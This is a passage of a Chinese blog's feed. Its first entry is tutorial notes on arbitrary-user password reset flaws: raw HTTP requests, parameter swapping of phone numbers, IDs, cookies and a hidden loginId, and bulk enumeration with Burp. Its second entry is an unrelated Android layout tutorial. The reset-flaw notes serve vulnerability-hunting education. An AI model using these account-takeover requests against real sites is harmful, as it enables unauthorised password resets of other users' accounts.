rv:47.0) Gecko/20100101 Firefox/47.0</div><div class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</div><div class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</div><div class="line">Accept-Encoding: gzip, deflate</div><div class="line">Referer: http://www.xxx.com/yw_xxx/regist/toSetPwd.action</div><div class="line">Cookie: td_cookie=2080441838; JSESSIONID=530DD2516536F63131A1C098089CF2FB; JSESSIONID=5F3E182FAE378C1E799342C059F923B9Connection: close</div><div class="line">Content-Type: application/x-www-form-urlencoded</div><div class="line">Content-Length: 57 </div><div class="line"></div><div class="line">upassword=qwer1111&upassword1=qwer1111&mphone=131234xxxxx</div></pre></td></tr></table></figure></p><p>我们可以看到密码找回成功<br><img src="http://image.3001.net/images/20171026/15089838283488.png" alt=""><br>而且参数中只有<code>密码</code>和<code>用户名</code>,<code>cookie</code>值无效,只需要修改指定用户名的值,就可以重置他人的用户密码。<br><img src="http://image.3001.net/images/20171026/15089839653835.png" alt=""><br>修改用户为<code>13888888888</code>,在发送数据包,我们就成功的把<code>138</code>的密码修改为<code>qwer111</code> </p><h2 id="总结-6"><a href="#总结-6" class="headerlink" title="总结"></a>总结</h2><p>这里的话关键是在最后一步重置密码的时候替换目标手机号,这种其实也是比较暴力的,拿到这个链接的话 可以无条件批量重置任意用户的密码,这里面利用<code>burp</code>可以批量枚举手机号码的<code>mphone</code>参数。</p><h1 id="修改密码处id可替换"><a href="#修改密码处id可替换" class="headerlink" title="修改密码处id可替换"></a>修改密码处id可替换</h1><p><img src="http://image.3001.net/images/20171026/15089809414716.png" alt=""> </p><h2 id="造成原因-7"><a href="#造成原因-7" class="headerlink" title="造成原因"></a>造成原因</h2><p>修改密码的时候,没有对<code>原密码</code>进行判断,且根据<code>id</code>的值来修改用户的密码,类似的<code>SQL</code>语句:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">update</span> <span class="keyword">user</span> <span class="keyword">set</span> <span class="keyword">password</span>=<span class="string">"qwer1234"</span> <span class="keyword">where</span> <span class="keyword">id</span> = ‘<span class="number">1</span>’</div></pre></td></tr></table></figure></p><p>修改数据包里的<code>id</code>的值,即可修改他人密码。</p><h2 id="测试方法-7"><a href="#测试方法-7" class="headerlink" title="测试方法"></a>测试方法</h2><p>修改自己用户密码,抓取数据包,替换数据包中用户对应的<code>id</code>值,即可修改他人的密码。</p><h2 id="案例-6"><a href="#案例-6" class="headerlink" title="案例"></a>案例</h2><p><img src="http://image.3001.net/images/20171026/15089841682199.png" alt=""><br>点击<code>立即提交</code>,得到右边的数据包,测试发现修改id为<code>5</code>,就可以把对应的用户密码修改为<code>123456</code>,没有对用户的原始密码判断,也没有判断<code>id</code>是否属于该用户。<br><strong>数据包</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line">POST /Index/user/userinfo.html HTTP/1.1</div><div class="line">Host: 192.168.8.31:8088Content-Length: 63Cache-Control: max-age=0</div><div class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</div><div class="line">Origin: http://192.168.8.31:8088</div><div class="line">Upgrade-Insecure-Requests: 1</div><div class="line">User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 UBrowser/6.1.2107.202 Safari/537.36</div><div class="line">Content-Type: application/x-www-form-urlencoded</div><div class="line">Referer: http://192.168.8.31:8088/Index/user/userinfo.html</div><div class="line">Accept-Encoding: gzip, deflate</div><div class="line">Accept-Language: zh-CN,zh;q=0.8</div><div class="line">Cookie: PHPSESSID=28af1649bcbcb0e0dd83afa017691a03; __sticket=hKdyp310daeBfKWqgnimZoB2zrKwespkfaaVm4KKpN-Fp3tokWJ-YJeQqWOXe9mpf5-br8dox6SUlX_Rgn2t05GVpZ6Jqoaqg3zMoY-rnnM.6.a. </div><div class="line"></div><div class="line">id=6&user_name=kefu1&password=123456&name=kefu123&email=&phone=</div></pre></td></tr></table></figure></p><p>这里的<code>id</code>和<code>kefu1</code>的所在参数<code>user_name</code>并没有去判断是否为用一个用户,这里修改<code>id</code>是可以任意修改其他用户的密码的。<br><img src="http://image.3001.net/images/20171026/15089843825229.png" alt=""><br>这里在不修改<code>user_name</code>的情况下,只修改<code>id</code>值就成功重置了用户的密码。 </p><h2 id="总结-7"><a href="#总结-7" class="headerlink" title="总结"></a>总结</h2><p>这种也比较暴力流氓,可以通过枚举<code>id</code>的值 ,来大批量重置任意用户密码的漏洞,因为不需要用户名了,只需要知道<code>id</code>值即可,危害比较大。</p><h1 id="cookie值的替换"><a href="#cookie值的替换" class="headerlink" title="cookie值的替换"></a>cookie值的替换</h1><p><img src="http://image.3001.net/images/20171026/15089812992669.png" alt=""> </p><h2 id="造成原因-8"><a href="#造成原因-8" class="headerlink" title="造成原因"></a>造成原因</h2><p>重置密码走到最后一步的时候仅判断唯一的用户标识<code>cookie</code>是否存在,并没有判断该<code>cookie</code>有没有通过之前重置密码过程的验证,导致可替换<code>cookie</code>重置他人用户密码。(<code>cookie</code>可指定用户获取。)</p><h2 id="测试方法-8"><a href="#测试方法-8" class="headerlink" title="测试方法"></a>测试方法</h2><p>重置自己用户密码到达最后阶段,抓到数据包,并在<code>第一阶段</code>重新获取目标用户<code>cookie</code>,替换<code>cookie</code>到我们抓取的数据包中,发包测试。</p><h2 id="案例-7"><a href="#案例-7" class="headerlink" title="案例"></a>案例</h2><p><img src="http://image.3001.net/images/20171026/15089849085190.png" alt=""><br>首先我们重置自己的用户<code>wang111</code>的密码到最后一步,成功重置密码,抓到如下数据包。<br><strong>数据包</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line">POST /ppc/valid/resetPassword.do HTTP/1.1</div><div class="line">Host: www.xxx.com</div><div class="line">User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0</div><div class="line">Accept: application/json, text/javascript, */*; q=0.01</div><div class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</div><div class="line">Accept-Encoding: gzip, deflate</div><div class="line">Content-Type: application/x-www-form-urlencoded; charset=UTF-8</div><div class="line">X-Requested-With: XMLHttpRequest</div><div class="line">Referer: http://www.xxx.com/ppc/valid/showResetPassword.do</div><div class="line">Content-Length: 37</div><div class="line">Cookie: JSESSIONID=E1AC27A7302C03C9432DE2254B99311A</div><div class="line">Connection: close </div><div class="line"></div><div class="line">password=qwer1111&rePassword=qwer1111</div></pre></td></tr></table></figure></p><p>这里的数据包中并没有出现用用户的参数信息,所以这里面的话,可以判断这里应该是用<code>cookie</code>作为身份的判断的。<br><img src="http://image.3001.net/images/20171026/15089850767350.png" alt=""><br>到第一步去获取验证码的时候,点击下一页,可以获取到该用户<code>wangshuai</code>对应的内容<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">Cookie: JSESSIONID=E1AC27A7302C03C9432DE2254B99311A</div></pre></td></tr></table></figure></p><p>拿到这个<code>cookie</code>就意味着可以利用这个身份判断标识去重置这个用户的密码了。<br><img src="http://image.3001.net/images/20171026/15089852556521.png" alt=""><br>替换得到的<code>cookie</code>值,即把<code>cookie</code>对应的用户<code>wangshuai</code>的密码修改为<code>qwer1234</code></p><h2 id="总结-8"><a href="#总结-8" class="headerlink" title="总结"></a>总结</h2><p>关键点:<code>cookie</code>可指定用户获取,尝试用他人账号来找回密码的时候,抓取数据包,可以从中提取出<code>cookie</code>值,然后就可以利用这个<code>cookie</code>值,就可以重置指定用户的密码了。</p><h1 id="修改信息时替换字段值"><a href="#修改信息时替换字段值" class="headerlink" title="修改信息时替换字段值"></a>修改信息时替换字段值</h1><p><img src="http://image.3001.net/images/20171026/15089815443323.png" alt=""> </p><h2 id="造成原因-9"><a href="#造成原因-9" class="headerlink" title="造成原因"></a>造成原因</h2><p>在执行修改信息的<code>sql</code>语句的时候,用户的密码也当作字段执行了,而且是根据<code>隐藏</code>参数<code>loginid</code>来执行的,这样就导致<code>修改隐藏</code>参数<code>loginid</code>的值,就可以修改他人的用户密码。</p><h2 id="测试方法-9"><a href="#测试方法-9" class="headerlink" title="测试方法"></a>测试方法</h2><p>修改个人资料的时候,抓取数据包,然后来修改数据包的参数和对应的值,参数名一般可以在<code>其他地方</code>找到,<code>替换</code>隐藏<code>参数</code>即可修改他人的密码等信息。 </p><h2 id="案例-8"><a href="#案例-8" class="headerlink" title="案例"></a>案例</h2><p><img src="http://image.3001.net/images/20171026/15089865786474.png" alt=""><br>点击 保存信息 抓取数据包<br><strong>数据包</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div></pre></td><td class="code"><pre><div class="line">POST /xxxxx/employee_updateEmployeeInf.action HTTP/1.1</div><div class="line">Host: www.xxxxx.com</div><div class="line">User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</div><div class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</div><div class="line">Accept-Encoding: gzip, deflate, br</div><div class="line">Referer: https://www.xxxxx.com/xxxxx/employee_forUpdate.action</div><div class="line">Cookie: JSESSIONID=A115648DB5F49215078E583ABB6A665A; FLGSID=FLGSRV1; loginUrl=""Connection: close</div><div class="line">Content-Type: multipart/form-data;boundary=---------------------------222991508618208</div><div class="line">Content-Length: 709</div><div class="line">-----------------------------222991508618208</div><div class="line">Content-Disposition: form-data; name="mobileNo"</div><div class="line">177XXXXXXXX</div><div class="line">-----------------------------222991508618208</div><div class="line">Content-Disposition: form-data; name="departId"</div><div class="line">49</div><div class="line">-----------------------------222991508618208</div><div class="line">Content-Disposition: form-data; name="minority"</div><div class="line">-----------------------------222991508618208</div><div class="line">Content-Disposition: form-data; name="sex"</div><div class="line">1</div><div class="line">-----------------------------222991508618208</div><div class="line">Content-Disposition: form-data; name="birthday"</div><div class="line">19920829</div><div class="line">-----------------------------222991508618208</div><div class="line">Content-Disposition: form-data; name="photo"; filename=""</div><div class="line">Content-Type: application/octet-stream</div><div class="line">-----------------------------222991508618208--</div></pre></td></tr></table></figure></p><p>可以看到数据包里只有这几个参数<code>mobileNo、departId、minority、sex、birthdaymobileNo</code>是用户对应的手机号我们尝试修改<code>mobileNo</code>的值,所获得的效果就是我们的手机号修改了,而这个手机号本身就是可以修改的。这个数据包中并没有找到我们标识用户身份的参数信息,唯一可以修改的手机号也只是表单中直接修改可以改变的。接下来我们去找一下隐藏参数。。。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">view-source:https://www.xxx.com/ua/employee/forUpdate.do</div></pre></td></tr></table></figure></p><p>查看下这个页面的源代码,找到了一个参数<code>loginId</code>,这个参数是对应用户身份的而我们发现 上面的数据包里没有这个参数,那么我们是否可以自己添加上去呢?<br><img src="http://image.3001.net/images/20171026/15089905016213.png" alt=""><br>这里修改数据包,添加字段<code>loginId</code>,并且把值修改为他人的用户,发包返回修改成功,这样就成功的把用户<code>871xxxx</code>的密码改为跟我们密码相同的值。</p><h2 id="总结-9"><a href="#总结-9" class="headerlink" title="总结"></a>总结</h2><p>最后一种要稍微复杂一点,得去找到隐藏参数:<code>loginId</code> 然后再修改数据包,以后挖洞的时候,多留意这些。</p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20171026/15089991352303.png" alt=""><br>本篇文章是参考大神<code>carry_your</code>讲师(360补天排名第一)的<code>任意用户密码重置的10种常见姿势</code>总结的笔记。<br>原视频地址:<a href="https://www.ichunqiu.com/course/59045" target="_blank" rel="external">https://www.ichunqiu.com/course/59045</a><br>
</summary>
<category term="hacker" scheme="http://www.sqlsec.com/categories/hacker/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="密码找回" scheme="http://www.sqlsec.com/tags/%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E/"/>
</entry>
<entry>
<title>使用布局与组件创建用户界面</title>
<link href="http://www.sqlsec.com/2017/10/android6.html"/>
<id>http://www.sqlsec.com/2017/10/android6.html</id>
<published>2017-10-13T02:35:27.000Z</published>
<updated>2017-10-12T09:07:22.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20171013/15078279124686.png" alt=""><br>在为CriminalIntent应用添加crime记录时间及处理状态的过程中,我们将学习到更多有<br>关布局和组件的知识<br><a id="more"></a></p><h1 id="升级-Crime-类"><a href="#升级-Crime-类" class="headerlink" title="升级 Crime 类"></a>升级 Crime 类</h1><p>打开<code>Crime.java</code>文件,新增两个实例变量。<br><code>Date</code>变量表示<code>crime</code>发生的时间,<br><code>boolean</code>变量表示<code>crime</code>是否已得到处理<br><strong>Crime.java</strong><br><img src="http://image.3001.net/images/20171012/15078230456467.png" alt=""> </p><h1 id="编写get和set方法"><a href="#编写get和set方法" class="headerlink" title="编写get和set方法"></a>编写get和set方法</h1><p><strong>Crime.java</strong><br><img src="http://image.3001.net/images/20171012/15078232323019.png" alt=""><br>接下来,使用新组件更新<code>fragment_crime.xml</code>文件中的布局,然后在CrimeFragment.java文件<br>中实例化并使用这些组件。</p><h1 id="更新布局"><a href="#更新布局" class="headerlink" title="更新布局"></a>更新布局</h1><h2 id="效果图"><a href="#效果图" class="headerlink" title="效果图"></a>效果图</h2><p>本章结束时,<code>CrimeFragment</code>视图应如图所示<br><img src="http://image.3001.net/images/20171012/15078239839429.png" alt=""><br>要得到这个界面还需要为为<code>CrimeFragment</code>的布局添加四个组件:<br>两个<code>TextView</code>组件、一个<code>Button</code>组件以及一个<code>CheckBox</code>组件 </p><h2 id="添加更新-fragment-crime-xml-组件"><a href="#添加更新-fragment-crime-xml-组件" class="headerlink" title="添加更新 fragment_crime.xml 组件"></a>添加更新 fragment_crime.xml 组件</h2><p><strong>fragment_crime.xml</strong><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div></pre></td><td class="code"><pre><div class="line"><?xml version="1.0" encoding="utf-8"?></div><div class="line"><span class="tag"><<span class="name">LinearLayout</span> <span class="attr">xmlns:android</span>=<span class="string">"http://schemas.android.com/apk/res/android"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_margin</span>=<span class="string">"16dp"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:orientation</span>=<span class="string">"vertical"</span>></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">TextView</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/crime_title_label"</span></span></div><div class="line"><span class="tag"> <span class="attr">style</span>=<span class="string">"?android:listSeparatorTextViewStyle"</span></span></div><div class="line"><span class="tag"> /></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">EditText</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/crime_title"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:hint</span>=<span class="string">"@string/crime_title_hint"</span>/></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">TextView</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/crime_details_label"</span></span></div><div class="line"><span class="tag"> <span class="attr">style</span>=<span class="string">"?android:listSeparatorTextViewStyle"</span></span></div><div class="line"><span class="tag"> /></span></div><div class="line"> <span class="tag"><<span class="name">Button</span> <span class="attr">android:id</span>=<span class="string">"@+id/crime_date"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_marginLeft</span>=<span class="string">"16dp"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_marginRight</span>=<span class="string">"16dp"</span></span></div><div class="line"><span class="tag"> /></span></div><div class="line"> <span class="tag"><<span class="name">CheckBox</span> <span class="attr">android:id</span>=<span class="string">"@+id/crime_solved"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"match_parent"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_marginLeft</span>=<span class="string">"16dp"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_marginRight</span>=<span class="string">"16dp"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/crime_solved_label"</span></span></div><div class="line"><span class="tag"> /></span></div><div class="line"><span class="tag"></<span class="name">LinearLayout</span>></span></div></pre></td></tr></table></figure></p><p>这里会有几处代码提示找不到资源id 这里完善一下 <code>strings.xml</code> 即可 </p><h2 id="完善-strings-xml"><a href="#完善-strings-xml" class="headerlink" title="完善 strings.xml"></a>完善 strings.xml</h2><p><strong>strings.xml</strong><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">resources</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"app_name"</span>></span>CriminalIntent<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"crime_title_hint"</span>></span>请为这个陋习输入标题<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"crime_title_label"</span>></span>标题<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"crime_details_label"</span>></span>详情<span class="tag"></<span class="name">string</span>></span></div><div class="line"> <span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"crime_solved_label"</span>></span>已解决<span class="tag"></<span class="name">string</span>></span></div><div class="line"><span class="tag"></<span class="name">resources</span>></span></div></pre></td></tr></table></figure></p><h1 id="生成并使用组件"><a href="#生成并使用组件" class="headerlink" title="生成并使用组件"></a>生成并使用组件</h1><p>接下来,要让<code>CheckBox</code>显示<code>Crime</code>是否已得到处理。用户勾选清除<code>CheckBox</code>时,<code>Crime</code>的<br><code>mSolved</code>变量的状态值也需得到相应的<code>更新</code>。<br><img src="http://image.3001.net/images/20171013/15078241085520.png" alt=""><br>当前,新增Button要做的就是显示Crime类中mDate变量的日期值<br><img src="http://image.3001.net/images/20171013/15078241499369.png" alt=""> </p><h2 id="添加组件实例变量"><a href="#添加组件实例变量" class="headerlink" title="添加组件实例变量"></a>添加组件实例变量</h2><p><strong>CrimeFragment.java</strong><br><img src="http://image.3001.net/images/20171013/15078242566725.png" alt=""> </p><h2 id="设置Button上的文字显示"><a href="#设置Button上的文字显示" class="headerlink" title="设置Button上的文字显示"></a>设置Button上的文字显示</h2><p>在<code>onCreateView(...)</code>方法中,引用新添加的按钮,设置它的文字属性值为<code>crime</code>日期,然后暂时禁用它<br><strong>CrimeFragment.java</strong><br><img src="http://image.3001.net/images/20171013/15078246069957.png" alt=""><br>禁用按钮可以确保它不响应用户的单击事件。禁用后,按钮的外观样式也会发生改变(变为<br>灰色),表明它已处于禁用状态。 等到第12章设置<code>监听器</code>时,我们会启用它。</p><h2 id="侦听CheckBox状态的变化"><a href="#侦听CheckBox状态的变化" class="headerlink" title="侦听CheckBox状态的变化"></a>侦听CheckBox状态的变化</h2><p><strong>CrimeFragment.java</strong><br><img src="http://image.3001.net/images/20171013/15078250835272.png" alt=""><br>创建<code>OnCheckedChangeListener</code>时,<code>Android Studio</code>会提供两个导入选项。确认选择的是<br><code>android.widget.CompoundButton</code>。<br>运行<code>CriminalIntent</code>应用。尝试勾选清除<code>CheckBox</code>状态,欣赏一下显示日期的禁用<code>Button</code>吧<br><strong>运行效果图</strong><br><img src="http://image.3001.net/images/20171013/15078252029052.png" alt=""> </p><h1 id="深入探讨-XML-布局属性"><a href="#深入探讨-XML-布局属性" class="headerlink" title="深入探讨 XML 布局属性"></a>深入探讨 XML 布局属性</h1><p>来回顾<code>fragment_crime.xml</code>文件中添加的一些属性定义,同时解答可能令人<br>困扰的组件与属性相关问题 </p><h2 id="样式、主题及主题属性"><a href="#样式、主题及主题属性" class="headerlink" title="样式、主题及主题属性"></a>样式、主题及主题属性</h2><p>样式(<code>style</code>)是<code>XML</code>资源文件,含有用来描述组件行为和外观的属性定义。例如,下列样式<br>资源能够配置组件,让其显示的文字大小大于正常值:<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">style</span> <span class="attr">name</span>=<span class="string">"BigTextStyle"</span>></span><span class="undefined"></span></div><div class="line"><span class="xml"> <span class="tag"><<span class="name">item</span> <span class="attr">name</span>=<span class="string">"android:textSize"</span>></span>20sp<span class="tag"></<span class="name">item</span>></span> </span></div><div class="line"><span class="xml"> <span class="tag"><<span class="name">item</span> <span class="attr">name</span>=<span class="string">"android:padding"</span>></span>3dp<span class="tag"></<span class="name">item</span>></span></span></div><div class="line"><span class="undefined"></span><span class="tag"></<span class="name">style</span>></span></div></pre></td></tr></table></figure></p><p>我们可以创建自己的样式文件(创建方法请参见第20章)。具体做法是将属性定义添加并保<br>存在<code>res/values/</code>目录下的样式文件中,然后在布局文件中以<code>@style/my_own_style</code>(样式文件名)的形式引用<br>再来看看<code>fragment_crime.xml</code>文件中的两个<code>TextView</code>组件。每个组件都有一个引用<code>Android</code>自带样式文件的<code>style</code>属性。该预定义样式来自于应用的主题,能让屏幕上的<code>TextView</code>组件看起来是以列表样式分隔开的。主题是各种样式的集合。从结构上来说,主题本身也是一种样式资源,<br>只不过它的属性指向了其他样式资源。 </p><h2 id="dp、sp-以及屏幕像素密度"><a href="#dp、sp-以及屏幕像素密度" class="headerlink" title="dp、sp 以及屏幕像素密度"></a>dp、sp 以及屏幕像素密度</h2><p>在<code>fragment_crime.xml</code>文件中,我们以<code>dp</code>为单位来指定边距属性值。<code>dp</code>单位已在之前的布局<br>文件中出现过了,下面我们来具体学习一下。有时需为视图属性指定大小尺寸值(通常以像素为单位,有时也用点、毫米或英寸)。最常见的属性有:</p><ul><li>文字大小(text size),指定设备上显示的文字像素高度;</li><li>边距(margin),指定视图组件间的距离;</li><li>内边距(padding),指定视图外边框与其内容间的距离。 </li></ul><p>么问题来了,假如图像完成了自动适配,但边距无法缩放适<br>配,又或者用户配置了大于默认值的文字大小,会发生什么情况呢?<br>为解决这些问题,<code>Android</code>提供了密度无关的尺寸单位(density-independent dimension unit)。使<br>用这种单位,可在不同屏幕密度的设备上获得同样的尺寸。无需进行麻烦的转换计算,应用运行时,<br><code>Android</code>会自动将这种单位转换成像素单位<br><img src="http://image.3001.net/images/20171013/15078267002754.png" alt=""> </p><h3 id="dp(或dip)"><a href="#dp(或dip)" class="headerlink" title="dp(或dip)"></a>dp(或dip)</h3><p>英文<code>density-independent pixel</code>的缩写,意为<code>密度无关像素</code>。在设置边距、内边距或任何不<br>打算按像素值指定尺寸的情况下,通常都使用dp这种单位。如果设备屏幕密度较高,密<br>度无关像素会相应扩展至整个屏幕。1dp单位在设备屏幕上总是等于1/160英寸。使用dp<br>的好处是,无论屏幕密度如何,总能获得同样的尺寸。</p><h3 id="sp"><a href="#sp" class="headerlink" title="sp"></a>sp</h3><p>英文<code>scale-independent pixel</code>的缩写,意为缩放无关像素。它是一种与密度无关的像素,这<br>种像素会受用户字体偏好设置的影响。我们通常会使用<code>sp</code>来设置屏幕上的字体大小。</p><h3 id="pt、mm、in"><a href="#pt、mm、in" class="headerlink" title="pt、mm、in"></a>pt、mm、in</h3><p>类似于<code>dp</code>的缩放单位。允许以点(1/72英寸)、毫米或英寸为单位指定用户界面尺寸。但<br>在实际开发中不建议使用这些单位,因为并非所有设备都能按照这些单位进行正确的尺<br>寸缩放配置</p><p>在本书及实际开发中,我们往往只会用到<code>dp</code>和<code>sp</code>两种单位。Android在运行时会自动将它们<br>的值转换为像素单位。</p><h1 id="挑战练习"><a href="#挑战练习" class="headerlink" title="挑战练习"></a>挑战练习</h1><p>使用<code>android.text.format.DateFormat</code>类实例实现时间显示的优化<br><strong>CrimeFragment.java</strong><br><img src="http://image.3001.net/images/20171013/15078279124686.png" alt=""><br><strong>CrimeFragment.java</strong><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">mDateButton = (Button) v.findViewById(R.id.crime_date);</div><div class="line"> String date = (String) DateFormat.format(<span class="string">"yyyy年MM月dd日E kk:mm"</span>, mCrime.getDate());</div><div class="line"> mDateButton.setText(date);</div><div class="line"> <span class="comment">//mDateButton.setText(mCrime.getDate().toString());</span></div><div class="line"> mDateButton.setEnabled(<span class="keyword">false</span>);</div></pre></td></tr></table></figure></p><p><strong>网上资料</strong><br>注意,我们可以格局需要来设定日期的格式模板,主要模板如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">"MM/dd/yy h:mmaa" -> "11/03/87 11:23am"</div><div class="line">"MMM dd, yyyy h:mmaa" -> "Nov 3, 1987 11:23am"</div><div class="line">"MMMM dd, yyyy h:mmaa" -> "November 3, 1987 11:23am"</div><div class="line">"E, MMMM dd, yyyy h:mmaa" -> "Tues , November 3, 1987 11:23am"</div><div class="line">"EEEE, MMMM dd, yyyy h:mmaa" -> "Tues day, Nov 3, 1987 11:23am"</div><div class="line">"YYYY年MM月dd日,kk:mm" -> 2014年09月30日,11:23</div><div class="line"></div><div class="line">用24小时制:</div><div class="line">"EEEE, MMMM dd, yyyy kk:mm" -> "Tues day, Nov 3, 1987 23:23"</div><div class="line">其中:12小时制 :hh; 24小时制: kk,如果用 SimpleDateFormat ,则为: hh; HH</div></pre></td></tr></table></figure></p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20171013/15078279124686.png" alt=""><br>在为CriminalIntent应用添加crime记录时间及处理状态的过程中,我们将学习到更多有<br>关布局和组件的知识<br>
</summary>
<category term="Android" scheme="http://www.sqlsec.com/categories/Android/"/>
<category term="Android" scheme="http://www.sqlsec.com/tags/Android/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
</entry>
<entry>
<title>UI fragment与fragment 管理器</title>
<link href="http://www.sqlsec.com/2017/10/android5.html"/>
<id>http://www.sqlsec.com/2017/10/android5.html</id>
<published>2017-10-13T01:35:27.000Z</published>
<updated>2017-10-12T07:25:16.000Z</updated>
